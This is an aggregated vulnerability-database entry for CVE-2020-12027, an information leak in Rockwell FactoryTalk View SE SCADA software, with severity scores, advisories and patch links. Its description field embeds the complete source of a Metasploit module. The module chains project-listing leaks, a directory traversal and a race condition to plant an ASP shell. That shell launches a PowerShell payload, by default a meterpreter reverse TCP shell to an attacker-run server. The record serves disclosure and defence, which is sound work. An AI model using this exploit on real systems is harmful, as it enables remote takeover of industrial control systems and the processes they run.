ID

VAR-202007-0193


CVE

CVE-2020-12027


TITLE

Rockwell Automation FactoryTalk View SE Information Disclosure Vulnerability

Trust: 1.2

sources: CNVD: CNVD-2020-38419 // CNNVD: CNNVD-202006-1216

DESCRIPTION

All versions of FactoryTalk View SE disclose the hostnames and file paths for certain files within the system. A remote, authenticated attacker may be able to leverage this information for reconnaissance efforts. Rockwell Automation recommends enabling built in security features found within FactoryTalk View SE. Users should follow guidance found in knowledge base articles 109056 and 1126943 to set up IPSec and/or HTTPs. FactoryTalk View SE There is an information leakage vulnerability in.Information may be obtained. Authentication is not required to exploit this vulnerability.The specific flaw exists within the handling of the GetHMIProjects parameter provided to hmi_isapi.dll. The issue results from a lack of authentication required to query the server. An attacker can leverage this in conjunction with other vulnerability to execute code in the context of SYSTEM. The vulnerability stems from network system or product configuration errors during operation. ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a series of vulnerabilities to achieve unauthenticated remote code execution on the Rockwell FactoryTalk View SE SCADA product as the IIS user. The attack relies on the chaining of five separate vulnerabilities. The first vulnerability is an unauthenticated project copy request, the second is a directory traversal, and the third is a race condition. In order to achieve full remote code execution on all targets, two information leak vulnerabilities are also abused. This exploit was used by the Flashback team (Pedro Ribeiro + Radek Domanski) in Pwn2Own Miami 2020 to win the EWS category. }, 'License' => MSF_LICENSE, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module 'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'References' => [ [ 'URL', 'https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'], [ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Miami_2020/replicant/replicant.md'], [ 'URL', 'https://github.com/rdomanski/Exploits_and_Advisories/tree/master/advisories/Pwn2Own/Miami2020/replicant.md'], [ 'CVE', '2020-12027'], [ 'CVE', '2020-12028'], [ 'CVE', '2020-12029'], [ 'ZDI', '20-727'], [ 'ZDI', '20-728'], [ 'ZDI', '20-729'], [ 'ZDI', '20-730'], ], 'Privileged' => false, 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Payload' => { 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' } }, 'DefaultOptions' => { 'WfsDelay' => 20 }, 'Targets' => [ [ 'Rockwell Automation FactoryTalk SE', {} ] ], 'DisclosureDate' => '2020-06-22', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(80), OptString.new('SRVHOST', [true, 'IP address of the host serving the exploit']), OptInt.new('SRVPORT', [true, 'Port of the host serving the exploit on', 8080]), OptString.new('TARGETURI', [true, 'The base path to Rockwell FactoryTalk', '/rsviewse/']) ] ) register_advanced_options( [ OptInt.new('SLEEP_RACER', [true, 'Number of seconds to wait for racer thread to finish', 15]), ] ) end def send_to_factory(path) send_request_cgi({ 'uri' => normalize_uri(target_uri, path), 'method' => 'GET' }) end def check res = send_to_factory('/hmi_isapi.dll') return Exploit::CheckCode::Safe unless res && res.code == 200 # Parse version from response body # Example: Version 11.00.00.230 version = res.body.scan(/Version ([0-9\.]{5,})/).flatten.first.to_s.split('.') # Is returned version sound? unless version.empty? if version.length != 4 return Exploit::CheckCode::Detected end print_status("#{peer} - Detected Rockwell FactoryTalk View SE SCADA version #{version[0..3].join('.')}") if version[0].to_i == 11 && version[1].to_i == 0 && version[2].to_i == 0 && version[3].to_i == 230 # we know this exact version is vulnerable (11.00.00.230) return Exploit::CheckCode::Appears end return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def on_request_uri(cli, request) if request.uri.include?(@shelly) print_good("#{peer} - Target connected, sending payload") psh = cmd_psh_payload( payload.encoded, payload.arch.first # without comspec it seems to fail, so keep it this way # remove_comspec: true ) # add double quotes for classic ASP escaping psh.gsub!('"', '""') # NOTE: ASP payloads are broken in newer Windows (Win 2012 R2, Win 10) so we need to use powershell # This is because the MSF ASP payload uses WScript.Shell.run(), which doesn't seem to work anymore... # If this module is not working on an older Windows version, try the below as payload: # payload = Msf::Util::EXE.to_exe_asp(generate_payload_exe) payload = %{<%CreateObject("WScript.Shell").exec("#{psh}")%>} send_response(cli, payload) # payload file is deleted automatically by the server once we win the race! elsif request.uri.include?(@proj_name) # Directory traversal: vulnerable asp file will land in the path we provide print_good("#{peer} - Target connected, sending file path with dir traversal") # Check the comments in the Infoleak 2 (project installation path) to understand why filename = "../SE/HMI Projects/#{@shelly}" send_response(cli, filename) end end def exploit # Infoleak 1 (project listing) print_status("#{peer} - Listing projects on the server") res = send_to_factory('/hmi_isapi.dll?GetHMIProjects') fail_with(Failure::UnexpectedReply, 'Failed to obtain project list. Bailing') unless res && res.code == 200 && res.body.include?('HMIProject') print_status("#{peer} - Received list of projects from the server") @proj_name = nil proj_path = '' xml = res.get_xml_document # Parse XML project list and check each project for installation project path xml.search('HMIProject').each do |project| # Infoleak 2 (project installation path) # In the original exploit, we used this to calculate the directory traversal path, but # Google says the path is the same for all versions since at least 2007. # Let's still abuse it to check if the project is valid. url = "/hmi_isapi.dll?GetHMIProjectPath&#{project.attributes['Name']}" res = send_to_factory(url) proj_path = res.body.strip # Check if response contains :\ that indicates a windows path next unless proj_path.include?(':\\') print_status("#{peer} - Found project path: #{proj_path}") # We only need first hit so we can quit the project parsing once we get it if project.attributes['Name'] @proj_name = project.attributes['Name'] break end end if !@proj_name fail_with(Failure::UnexpectedReply, 'Failed to get a path from the XML to drop our shell, bailing out...') end shell_path = proj_path.sub(@proj_name, '').strip print_good("#{peer} - Got a path to drop our shell: #{shell_path}") # Start http server for project copy callback http_service = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s print_status("#{peer} - Starting up our web service on #{http_service} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| on_request_uri(cli, req) end, # This path has to be capitalized as "RSViewSE" or else the exploit will fail! 'Path' => '/RSViewSE/' } }) # Race Condition # This is the racer thread. It will continuously access our asp file until it gets executed print_status("#{peer} - Starting racer thread, let's win this race condition!") @shelly = "#{rand_text_alpha(5..10)}.asp" racer = Thread.new do loop do res = send_to_factory("/#{@shelly}") if res.code == 200 print_good("#{peer} - We've won the race condition, shell incoming!") break end end end # Project Copy Request: target will connect to us to obtain project information. print_status("#{peer} - Initiating project copy request...") url = "/hmi_isapi.dll?StartRemoteProjectCopy&#{@proj_name}&#{rand_text_alpha(5..13)}&#{datastore['SRVHOST']}:#{datastore['SRVPORT']}&1" res = send_to_factory(url) # wait up to datastore['SLEEP_RACER'] seconds for the racer thread to finish count = 0 while count < datastore['SLEEP_RACER'] break if racer.status == false sleep(1) count += 1 end racer.exit end end

Trust: 4.23

sources: NVD: CVE-2020-12027 // JVNDB: JVNDB-2020-008252 // ZDI: ZDI-20-732 // ZDI: ZDI-20-728 // ZDI: ZDI-20-727 // CNVD: CNVD-2020-38419 // VULHUB: VHN-164664 // PACKETSTORM: 160156

IOT TAXONOMY

category:['ICS']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2020-38419

AFFECTED PRODUCTS

vendor:rockwell automationmodel:factorytalk view sescope: - version: -

Trust: 1.4

vendor:rockwellautomationmodel:factorytalk viewscope:eqversion:*

Trust: 1.0

vendor:rockwell automationmodel:factorytalk viewscope:eqversion:se

Trust: 0.8

vendor:rockwell automationmodel:studio 5000scope: - version: -

Trust: 0.7

vendor:rockwellmodel:automation factorytalk view sescope: - version: -

Trust: 0.6

sources: ZDI: ZDI-20-732 // ZDI: ZDI-20-728 // ZDI: ZDI-20-727 // CNVD: CNVD-2020-38419 // JVNDB: JVNDB-2020-008252 // NVD: CVE-2020-12027

CVSS

SEVERITY

CVSSV2

CVSSV3

ZDI: CVE-2020-12027
value: MEDIUM

Trust: 2.1

nvd@nist.gov: CVE-2020-12027
value: MEDIUM

Trust: 1.0

ics-cert@hq.dhs.gov: CVE-2020-12027
value: MEDIUM

Trust: 1.0

NVD: JVNDB-2020-008252
value: MEDIUM

Trust: 0.8

CNVD: CNVD-2020-38419
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-202006-1216
value: MEDIUM

Trust: 0.6

VULHUB: VHN-164664
value: MEDIUM

Trust: 0.1

nvd@nist.gov: CVE-2020-12027
severity: MEDIUM
baseScore: 4.0
vectorString: AV:N/AC:L/AU:S/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.0

NVD: JVNDB-2020-008252
severity: MEDIUM
baseScore: 4.0
vectorString: AV:N/AC:L/AU:S/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.8

CNVD: CNVD-2020-38419
severity: MEDIUM
baseScore: 5.0
vectorString: AV:N/AC:L/AU:N/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 10.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

VULHUB: VHN-164664
severity: MEDIUM
baseScore: 4.0
vectorString: AV:N/AC:L/AU:S/C:P/I:N/A:N
accessVector: NETWORK
accessComplexity: LOW
authentication: SINGLE
confidentialityImpact: PARTIAL
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 8.0
impactScore: 2.9
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.1

ZDI: CVE-2020-12027
baseSeverity: MEDIUM
baseScore: 5.3
vectorString: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: LOW
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 3.9
impactScore: 1.4
version: 3.0

Trust: 2.1

nvd@nist.gov: CVE-2020-12027
baseSeverity: MEDIUM
baseScore: 4.3
vectorString: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: LOW
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: 2.8
impactScore: 1.4
version: 3.1

Trust: 2.0

NVD: JVNDB-2020-008252
baseSeverity: MEDIUM
baseScore: 4.3
vectorString: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
attackVector: NETWORK
attackComplexity: LOW
privilegesRequired: LOW
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: LOW
integrityImpact: NONE
availabilityImpact: NONE
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: ZDI: ZDI-20-732 // ZDI: ZDI-20-728 // ZDI: ZDI-20-727 // CNVD: CNVD-2020-38419 // VULHUB: VHN-164664 // JVNDB: JVNDB-2020-008252 // CNNVD: CNNVD-202006-1216 // NVD: CVE-2020-12027 // NVD: CVE-2020-12027

PROBLEMTYPE DATA

problemtype:CWE-200

Trust: 1.9

problemtype:NVD-CWE-noinfo

Trust: 1.0

sources: VULHUB: VHN-164664 // JVNDB: JVNDB-2020-008252 // NVD: CVE-2020-12027

THREAT TYPE

remote

Trust: 0.7

sources: PACKETSTORM: 160156 // CNNVD: CNNVD-202006-1216

TYPE

information disclosure

Trust: 0.6

sources: CNNVD: CNNVD-202006-1216

CONFIGURATIONS

sources: JVNDB: JVNDB-2020-008252

EXPLOIT AVAILABILITY

sources: VULHUB: VHN-164664

PATCH

title:Rockwell Automation has issued an update to correct this vulnerability.url:https://rockwellautomation.custhelp.com/app/answers/detail/a_id/1126944

Trust: 2.1

title:Top Pageurl:https://www.rockwellautomation.com/en-us.html

Trust: 0.8

title:Patch for Rockwell Automation FactoryTalk View SE Information Disclosure Vulnerabilityurl:https://www.cnvd.org.cn/patchInfo/show/225339

Trust: 0.6

title:Rockwell Automation FactoryTalk View SE Repair measures for information disclosure vulnerabilitiesurl:http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=121979

Trust: 0.6

sources: ZDI: ZDI-20-732 // ZDI: ZDI-20-728 // ZDI: ZDI-20-727 // CNVD: CNVD-2020-38419 // JVNDB: JVNDB-2020-008252 // CNNVD: CNNVD-202006-1216

EXTERNAL IDS

db:NVDid:CVE-2020-12027

Trust: 5.3

db:ICS CERTid:ICSA-20-170-05

Trust: 3.1

db:PACKETSTORMid:160156

Trust: 1.8

db:ZDIid:ZDI-20-732

Trust: 1.3

db:JVNid:JVNVU97172119

Trust: 0.8

db:JVNDBid:JVNDB-2020-008252

Trust: 0.8

db:ZDI_CANid:ZDI-CAN-10291

Trust: 0.7

db:ZDI_CANid:ZDI-CAN-10282

Trust: 0.7

db:ZDIid:ZDI-20-728

Trust: 0.7

db:ZDI_CANid:ZDI-CAN-10281

Trust: 0.7

db:ZDIid:ZDI-20-727

Trust: 0.7

db:CNVDid:CNVD-2020-38419

Trust: 0.7

db:CNNVDid:CNNVD-202006-1216

Trust: 0.7

db:NSFOCUSid:47318

Trust: 0.6

db:VULHUBid:VHN-164664

Trust: 0.1

sources: ZDI: ZDI-20-732 // ZDI: ZDI-20-728 // ZDI: ZDI-20-727 // CNVD: CNVD-2020-38419 // VULHUB: VHN-164664 // JVNDB: JVNDB-2020-008252 // PACKETSTORM: 160156 // CNNVD: CNNVD-202006-1216 // NVD: CVE-2020-12027

REFERENCES

url:https://rockwellautomation.custhelp.com/app/answers/detail/a_id/1126944

Trust: 3.8

url:https://us-cert.cisa.gov/ics/advisories/icsa-20-170-05

Trust: 2.5

url:http://packetstormsecurity.com/files/160156/rockwell-factorytalk-view-se-scada-unauthenticated-remote-code-execution.html

Trust: 2.3

url:https://nvd.nist.gov/vuln/detail/cve-2020-12027

Trust: 1.5

url:https://www.us-cert.gov/ics/advisories/icsa-20-170-05

Trust: 1.2

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2020-12027

Trust: 0.8

url:https://jvn.jp/vu/jvnvu97172119/index.html

Trust: 0.8

url:https://www.zerodayinitiative.com/advisories/zdi-20-732/

Trust: 0.6

url:http://www.nsfocus.net/vulndb/47318

Trust: 0.6

url:https://nvd.nist.gov/vuln/detail/cve-2020-12029

Trust: 0.1

url:https://www.thezdi.com/blog/2020/7/22/chaining-5-bugs-for-code-execution-on-the-rockwell-factorytalk-hmi-at-pwn2own-miami'],

Trust: 0.1

url:https://github.com/rapid7/metasploit-framework

Trust: 0.1

url:https://github.com/pedrib/poc/blob/master/advisories/pwn2own/miami_2020/replicant/replicant.md'],

Trust: 0.1

url:https://metasploit.com/download

Trust: 0.1

url:http://'

Trust: 0.1

url:https://github.com/rdomanski/exploits_and_advisories/tree/master/advisories/pwn2own/miami2020/replicant.md'],

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2020-12028

Trust: 0.1

sources: ZDI: ZDI-20-732 // ZDI: ZDI-20-728 // ZDI: ZDI-20-727 // CNVD: CNVD-2020-38419 // VULHUB: VHN-164664 // JVNDB: JVNDB-2020-008252 // PACKETSTORM: 160156 // CNNVD: CNNVD-202006-1216 // NVD: CVE-2020-12027

CREDITS

Team FLASHBACK: Pedro Ribeiro (pedrib@gmail.com|@pedrib1337) and Radek Domanski (@RabbitPro)

Trust: 1.4

sources: ZDI: ZDI-20-728 // ZDI: ZDI-20-727

SOURCES

db:ZDIid:ZDI-20-732
db:ZDIid:ZDI-20-728
db:ZDIid:ZDI-20-727
db:CNVDid:CNVD-2020-38419
db:VULHUBid:VHN-164664
db:JVNDBid:JVNDB-2020-008252
db:PACKETSTORMid:160156
db:CNNVDid:CNNVD-202006-1216
db:NVDid:CVE-2020-12027

LAST UPDATE DATE

2024-11-23T21:59:09.848000+00:00


SOURCES UPDATE DATE

db:ZDIid:ZDI-20-732date:2020-06-22T00:00:00
db:ZDIid:ZDI-20-728date:2021-06-29T00:00:00
db:ZDIid:ZDI-20-727date:2021-06-29T00:00:00
db:CNVDid:CNVD-2020-38419date:2020-07-13T00:00:00
db:VULHUBid:VHN-164664date:2021-09-23T00:00:00
db:JVNDBid:JVNDB-2020-008252date:2020-09-07T00:00:00
db:CNNVDid:CNNVD-202006-1216date:2021-09-24T00:00:00
db:NVDid:CVE-2020-12027date:2024-11-21T04:59:08.443

SOURCES RELEASE DATE

db:ZDIid:ZDI-20-732date:2020-06-22T00:00:00
db:ZDIid:ZDI-20-728date:2020-06-22T00:00:00
db:ZDIid:ZDI-20-727date:2020-06-22T00:00:00
db:CNVDid:CNVD-2020-38419date:2020-07-13T00:00:00
db:VULHUBid:VHN-164664date:2020-07-20T00:00:00
db:JVNDBid:JVNDB-2020-008252date:2020-09-07T00:00:00
db:PACKETSTORMid:160156date:2020-11-20T15:46:41
db:CNNVDid:CNNVD-202006-1216date:2020-06-18T00:00:00
db:NVDid:CVE-2020-12027date:2020-07-20T16:15:12.087